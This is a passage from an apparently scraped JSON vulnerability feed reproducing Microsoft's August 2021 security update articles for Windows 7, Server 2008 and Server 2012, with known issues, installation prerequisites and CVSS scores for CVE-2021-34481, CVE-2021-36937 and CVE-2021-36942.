**[OpenEncryptedFileRaw(A/W)](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>)**, often used in backup software, will not work when you back up to or from a Windows Server 2008 SP2 device. **OpenEncryptedFileRaw** will continue to work on all other versions of Windows (local and remote).| This behavior is expected because we addressed the issue in [CVE-2021-36942](<https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2021-36942>).**Note** If you cannot use backup software on Windows 7 SP1 and Server 2008 R2 SP1 or later after installing this update, contact the manufacturer of your backup software for updates and support. \nAfter installing this update and restarting your device, you might receive the error, \u201cFailure to configure Windows updates. Reverting Changes. Do not turn off your computer,\u201d and the update might show as **Failed **in **Update History**.| This is expected in the following circumstances:\n\n * If you are installing this update on a device that is running an edition that is not supported for ESU. For a complete list of which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).\n * If you do not have an ESU MAK add-on key installed and activated.\n * If you have purchased an ESU key and have encountered this issue, please verify you have applied all prerequisites and that your key is activated. For information on activation, please see this [blog](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/obtaining-extended-security-updates-for-eligible-windows-devices/ba-p/1167091>) post. For information on the prerequisites, see the **How to get this update** section of this article. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \"STATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\". This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \n \n## **How to get this update**\n\n**Before installing this update****IMPORTANT** Customers who have purchased the Extended Security Update (ESU) for on-premises versions of these operating systems must follow the procedures in [KB4522133](<https://support.microsoft.com/help/4522133>) to continue receiving security updates after extended support ends. Extended support ends as follows:\n\n * For Windows 7 Service Pack 1 and Windows Server 2008 R2 Service Pack 1, extended support ends on January 14, 2020.\n * For Windows Embedded Standard 7, extended support ends on October 13, 2020.\nFor more information about ESU and which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).**Note** For Windows Embedded Standard 7, Windows Management Instrumentation (WMI) must be enabled to get updates from Windows Update or Windows Server Update Services.**Prerequisite:**You must install the updates listed below and **restart your device** before installing the latest Rollup. Installing these updates improves the reliability of the update process and mitigates potential issues while installing the Rollup and applying Microsoft security fixes.\n\n 1. The March 12, 2019 servicing stack update (SSU) ([KB4490628](<https://support.microsoft.com/help/4490628>)). To get the standalone package for this SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). This update is required to install updates that are only SHA-2 signed.\n 2. The latest SHA-2 update ([KB4474419](<https://support.microsoft.com/help/4474419>)) released September 10, 2019. If you are using Windows Update, the latest SHA-2 update will be offered to you automatically. This update is required to install updates that are only SHA-2 signed. For more information on SHA-2 updates, see [2019 SHA-2 Code Signing Support requirement for Windows and WSUS](<https://support.microsoft.com/help/4472027>).\n 3. For Windows Thin PC, you must have the August 11, 2020 SSU ([KB4570673](<https://support.microsoft.com/help/4570673>)) or a later SSU installed to make sure you continue to get the extended security updates starting with the October 13, 2020 updates.\n 4. To get this security update, you must reinstall the \"Extended Security Updates (ESU) Licensing Preparation Package\" ([KB4538483](<https://support.microsoft.com/help/4538483>)) or the \"Update for the Extended Security Updates (ESU) Licensing Preparation Package\" ([KB4575903](<https://support.microsoft.com/help/4575903>)) even if you previously installed the ESU key. The ESU licensing preparation package will be offered to you from WSUS. To get the standalone package for ESU licensing preparation package, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).\nAfter installing the items above, Microsoft strongly recommends that you install the latest SSU ([KB5004378](<https://support.microsoft.com/help/5004378>)). If you are using Windows Update, the latest SSU will be offered to you automatically if you are an ESU customer. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).**REMINDER** If you are using Security-only updates, you will also need to install all previous Security-only updates and the latest cumulative update for Internet Explorer ([KB5005036](<https://support.microsoft.com/help/5005036>)).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| No| See the other options below. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005089>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 7 Service Pack 1, Windows Server 2008 R2 Service Pack 1, Windows Embedded Standard 7 Service Pack 1, Windows Embedded POSReady 7, Windows Thin PC**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5005089](<https://download.microsoft.com/download/d/0/4/d0487f5c-6448-4a25-badb-8fcab6fc55bf/5005089.csv>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-10T07:00:00", "type": "mskb", "title": "August 10, 2021\u2014KB5005089 (Security-only update)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-36937", "CVE-2021-36942"], "modified": "2021-08-10T07:00:00", "id": "KB5005089", "href": "https://support.microsoft.com/en-us/help/5005089", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:38:53", "description": "None\n**Important: **Windows Server 2008 Service Pack 2 (SP2) has reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nWSUS scan cab files will continue to be available for Windows Server 2008 SP2. If you have a subset of devices running this operating system without ESU, they might show as non-compliant in your patch management and compliance toolsets.\n\n## **Improvements and fixes**\n\nThis security update includes quality improvements. Key changes include:\n\n * Changes the default privilege requirement for installing drivers when using Point and Print. After installing this update, you must have administrative privileges to install drivers. If you use Point and Print, see [KB5005652](<https://support.microsoft.com/topic/873642bf-2634-49c5-a23b-6d8e9a302872>), [Point and Print Default Behavior Change](<https://aka.ms/PointPrintMSRCBlog>), and [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) for more information.\n * Addresses an issue in which Smart Card Authentication (PIV) fails on non-RFC compliant printers and scanners requiring smartcard authentication. For more information, see [KB5005391](<https://support.microsoft.com/help/5005390>).\n * This update also contains miscellaneous security improvements to internal OS functionality.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update, the Encrypted File System (EFS) API **[OpenEncryptedFileRaw(A/W)](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>)**, often used in backup software, will not work when you back up to or from a Windows Server 2008 SP2 device. **OpenEncryptedFileRaw** will continue to work on all other versions of Windows (local and remote).| This behavior is expected because we addressed the issue in [CVE-2021-36942](<https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2021-36942>).**Note** If you cannot use backup software on Windows 7 SP1 and Server 2008 R2 SP1 or later after installing this update, contact the manufacturer of your backup software for updates and support. \nAfter installing this update and restarting your device, you might receive the error, \u201cFailure to configure Windows updates. Reverting Changes. Do not turn off your computer\u201d, and the update might show as **Failed** in **Update History**.| This is expected in the following circumstances:\n\n * If you are installing this update on a device that is running an edition that is not supported for ESU. For a complete list of which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).\n * If you do not have an ESU MAK add-on key installed and activated.\nIf you have purchased an ESU key and have encountered this issue, please verify you have applied all prerequisites and that your key is activated. For information on activation, please see this [blog](<https://aka.ms/Windows7ESU>) post. For information on the prerequisites, see the \"How to get this update\" section of this article. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \n \n## **How to get this update**\n\n**Before installing this update****IMPORTANT** Customers who have purchased the [Extended Security Update (ESU)](<https://www.microsoft.com/en-us/cloud-platform/extended-security-updates>) for on-premises versions of this OS must follow the procedures in [KB4522133](<https://support.microsoft.com/help/4522133>) to continue receiving security updates after extended support ends on January 14, 2020.For more information on ESU and which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).**Prerequisite:**You must install the updates listed below and **restart your device** before installing the latest Rollup. Installing these updates improves the reliability of the update process and mitigates potential issues while installing the Rollup and applying Microsoft security fixes.\n\n 1. The April 9, 2019 servicing stack update (SSU) ([KB4493730](<https://support.microsoft.com/help/4493730>)). To get the standalone package for this SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). This update is required to install updates that are only SHA-2 signed.\n 2. The latest SHA-2 update ([KB4474419](<https://support.microsoft.com/help/4474419>)) released October 8, 2019. If you are using Windows Update, the latest SHA-2 update will be offered to you automatically. This update is required to install updates that are only SHA-2 signed. For more information on SHA-2 updates, see [2019 SHA-2 Code Signing Support requirement for Windows and WSUS](<https://support.microsoft.com/help/4472027>).\n 3. The Extended Security Updates (ESU) Licensing Preparation Package ([KB4538484](<https://support.microsoft.com/help/4538484>)) or the Update for the Extended Security Updates (ESU) Licensing Preparation Package ([KB4575904](<https://support.microsoft.com/help/4575904>)). The ESU licensing preparation package will be offered to you from WSUS. To get the standalone package for ESU licensing preparation package, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).\nAfter installing the items above, we strongly recommend that you install the latest SSU ([KB4580971](<https://support.microsoft.com/help/4580971>)). If you are using Windows Update, the latest SSU will be offered to you automatically if you are an ESU customer. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).**REMINDER** If you are using Security-only updates, you will also need to install all previous Security-only updates and the latest cumulative update for Internet Explorer ([KB5005036](<https://support.microsoft.com/help/5005036>)).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| No| See the other options below. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KBNNNNNNN>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows Server 2008 Service Pack 2**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5005095](<https://download.microsoft.com/download/2/f/9/2f99a9fc-08b2-4463-9199-43e8f557ead0/5005095.csv>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-10T07:00:00", "type": "mskb", "title": "August 10, 2021\u2014KB5005095 (Security-only update)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-36937", "CVE-2021-36942"], "modified": "2021-08-10T07:00:00", "id": "KB5005095", "href": "https://support.microsoft.com/en-us/help/5005095", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:38:53", "description": "None\n**Important: **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the device. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>).\n\n**Important: **Windows Server 2012 has reached the end of mainstream support and is now in extended support. Starting in July 2020, there will no longer be optional releases (known as \"C\" or \"D\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows Server 2012 update history [home page](<https://support.microsoft.com/help/4009471>).\n\n## **Improvements and fixes**\n\nThis security update includes quality improvements. Key changes include:\n\n * Changes the default privilege requirement for installing drivers when using Point and Print. After installing this update, you must have administrative privileges to install drivers. If you use Point and Print, see [KB5005652](<https://support.microsoft.com/topic/873642bf-2634-49c5-a23b-6d8e9a302872>), [Point and Print Default Behavior Change](<https://aka.ms/PointPrintMSRCBlog>), and [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) for more information.\n * Addresses an issue in which Smart Card Authentication (PIV) fails on non-RFC compliant printers and scanners requiring smartcard authentication. For more information, see [KB5005389](<https://support.microsoft.com/help/5005389>).\n * This update also contains miscellaneous security improvements to internal OS functionality.\nFor more information about the resolved security vulnerabilities, please refer to the [Security Update Guide](<https://portal.msrc.microsoft.com/security-guidance>).\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update, the Encrypted File System (EFS) API **[OpenEncryptedFileRaw(A/W)](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>)**, often used in backup software, will not work when you back up to or from a Windows Server 2008 SP2 device. **OpenEncryptedFileRaw** will continue to work on all other versions of Windows (local and remote).| This behavior is expected because we addressed the issue in [CVE-2021-36942](<https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2021-36942>).**Note** If you cannot use backup software on Windows 7 SP1 and Server 2008 R2 SP1 or later after installing this update, contact the manufacturer of your backup software for updates and support. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \n \n## **How to get this update**\n\n**Before installing this update**We strongly recommend that you install the latest servicing stack update (SSU) for your operating system before installing the latest Rollup. SSUs improve the reliability of the update process to mitigate potential issues while installing the Rollup and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).If you use Windows Update, the latest SSU ([KB5001401](<https://support.microsoft.com/help/5001401>)) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **REMINDER** If you are using Security-only updates, you will also need to install all previous Security-only updates and the latest cumulative update for Internet Explorer ([KB5005036](<https://support.microsoft.com/help/5005036>)).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| No| See the other options below. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KBNNNNNNN>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows Server 2012, Windows Embedded 8 Standard**Classification**: Security Update \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5005094](<https://download.microsoft.com/download/4/d/f/4dfb503a-e6e6-464c-a027-c7cfe76e0792/5005094.csv>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-10T07:00:00", "type": "mskb", "title": "August 10, 2021\u2014KB5005094 (Security-only update)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-36937", "CVE-2021-36942"], "modified": "2021-08-10T07:00:00", "id": "KB5005094", "href": "https://support.microsoft.com/en-us/help/5005094", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:38:52", "description": "None\n**Important: **Windows Server 2008 Service Pack 2 (SP2) has reached the end of mainstream support and is now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows Server 2008 Service Pack 2 update history [home page](<https://support.microsoft.com/help/4343218>).\n\n## **Improvements and fixes**\n\nThis security update includes improvements and fixes that were a part of update [KB5004305](<https://support.microsoft.com/help/5004305>) (released July 13, 2021) and addresses the following issues:\n\n * Changes the default privilege requirement for installing drivers when using Point and Print. After installing this update, you must have administrative privileges to install drivers. If you use Point and Print, see [KB5005652](<https://support.microsoft.com/topic/873642bf-2634-49c5-a23b-6d8e9a302872>), [Point and Print Default Behavior Change](<https://aka.ms/PointPrintMSRCBlog>), and [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) for more information.\n * Addresses an issue in which Smart Card Authentication (PIV) fails on non-RFC compliant printers and scanners requiring smartcard authentication. For more information, see [KB5005390.](<https://support.microsoft.com/help/5005390>)\n * This update also contains miscellaneous security improvements to internal OS functionality.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update, the Encrypted File System (EFS) API **[OpenEncryptedFileRaw(A/W)](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>)**, often used in backup software, will not work when you back up to or from a Windows Server 2008 SP2 device. **OpenEncryptedFileRaw** will continue to work on all other versions of Windows (local and remote).| This behavior is expected because we addressed the issue in [CVE-2021-36942](<https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2021-36942>).**Note** If you cannot use backup software on Windows 7 SP1 and Server 2008 R2 SP1 or later after installing this update, contact the manufacturer of your backup software for updates and support. \nAfter installing this update and restarting your device, you might receive the error, \u201cFailure to configure Windows updates. Reverting Changes. Do not turn off your computer\u201d, and the update might show as **Failed** in **Update History**.| This is expected in the following circumstances:\n\n * If you are installing this update on a device that is running an edition that is not supported for ESU. For a complete list of which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).\n * If you do not have an ESU MAK add-on key installed and activated.\nIf you have purchased an ESU key and have encountered this issue, please verify you have applied all prerequisites and that your key is activated. For information on activation, please see this [blog](<https://aka.ms/Windows7ESU>) post. For information on the prerequisites, see the \"How to get this update\" section of this article. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \n \n## **How to get this update**\n\n**Before installing this update****IMPORTANT** Customers who have purchased the Extended Security Update (ESU) for on-premises versions of these operating systems must follow the procedures in [KB4522133](<https://support.microsoft.com/help/4522133>) to continue receiving security updates after extended support ends on January 14, 2020.For more information about ESU and which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).**Prerequisite:**You must install the updates listed below and **restart your device** before installing the latest Rollup. Installing these updates improves the reliability of the update process and mitigates potential issues while installing the Rollup and applying Microsoft security fixes.\n\n 1. The April 9, 2019 servicing stack update (SSU) ([KB4493730](<https://support.microsoft.com/help/4493730>)). To get the standalone package for this SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). This update is required to install updates that are only SHA-2 signed.\n 2. The latest SHA-2 update ([KB4474419](<https://support.microsoft.com/help/4474419>)) released October 8, 2019. If you are using Windows Update, the latest SHA-2 update will be offered to you automatically. This update is required to install updates that are only SHA-2 signed. For more information on SHA-2 updates, see [2019 SHA-2 Code Signing Support requirement for Windows and WSUS](<https://support.microsoft.com/help/4472027>).\n 3. The Extended Security Updates (ESU) Licensing Preparation Package ([KB4538484](<https://support.microsoft.com/help/4538484>)) or the Update for the Extended Security Updates (ESU) Licensing Preparation Package ([KB4575904](<https://support.microsoft.com/help/4575904>)). The ESU licensing preparation package will be offered to you from WSUS. To get the standalone package for ESU licensing preparation package, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).\nAfter installing the items above, Microsoft strongly recommends that you install the latest SSU ([KB4580971](<https://support.microsoft.com/help/4580971>)). If you are using Windows Update, the latest SSU will be offered to you automatically if you are an ESU customer. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update if you are an ESU customer. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005090>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows Server 2008 Service Pack 2**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5005090](<https://download.microsoft.com/download/3/e/d/3ed5bcad-9cd8-4084-860a-0eeff78ed341/5005090.csv>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-10T07:00:00", "type": "mskb", "title": "August 10, 2021\u2014KB5005090 (Monthly Rollup)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-36937", "CVE-2021-36942"], "modified": "2021-08-10T07:00:00", "id": "KB5005090", "href": "https://support.microsoft.com/en-us/help/5005090", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:38:51", "description": "None\n**Important: **Windows 7 and Windows Server 2008 R2 have reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows 7 and Windows Server 2008 R2 update history [home page](<https://support.microsoft.com/help/4009469>).\n\n## **Improvements and fixes**\n\nThis security update includes improvements and fixes that were a part of update [KB5004289](<https://support.microsoft.com/help/5004289>) (released July 13, 2021) and addresses the following issues:\n\n * Changes the default privilege requirement for installing drivers when using Point and Print. After installing this update, you must have administrative privileges to install drivers. If you use Point and Print, see [KB5005652](<https://support.microsoft.com/topic/873642bf-2634-49c5-a23b-6d8e9a302872>), [Point and Print Default Behavior Change](<https://aka.ms/PointPrintMSRCBlog>), and [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) for more information.\n * Addresses an issue in which Smart Card Authentication (PIV) fails on non-RFC compliant printers and scanners requiring smartcard authentication. For more information, see [KB5005392](<https://support.microsoft.com/help/5005392>).\n * This update also contains miscellaneous security improvements to internal OS functionality.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**How to get this update****Symptom **| **Workaround ** \n---|--- \nAfter installing this update, the Encrypted File System (EFS) API **[OpenEncryptedFileRaw(A/W)](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>)**, often used in backup software, will not work when you back up to or from a Windows Server 2008 SP2 device. **OpenEncryptedFileRaw** will continue to work on all other versions of Windows (local and remote).| This behavior is expected because we addressed the issue in [CVE-2021-36942](<https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2021-36942>).**Note** If you cannot use backup software on Windows 7 SP1 and Server 2008 R2 SP1 or later after installing this update, contact the manufacturer of your backup software for updates and support. \nAfter installing this update and restarting your device, you might receive the error, \"Failure to configure Windows updates. Reverting Changes. Do not turn off your computer\", and the update might show as **Failed** in **Update History**.| This is expected in the following circumstances:\n\n * If you are installing this update on a device that is running an edition that is not supported for ESU. For a complete list of which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).\n * If you do not have an ESU MAK add-on key installed and activated.\nIf you have purchased an ESU key and have encountered this issue, please verify you have applied all prerequisites and that your key is activated. For information on activation, please see this [blog](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/obtaining-extended-security-updates-for-eligible-windows-devices/ba-p/1167091>) post. For information on the prerequisites, see the **How to get this update** section of this article. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \"STATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\". This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following: \n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on 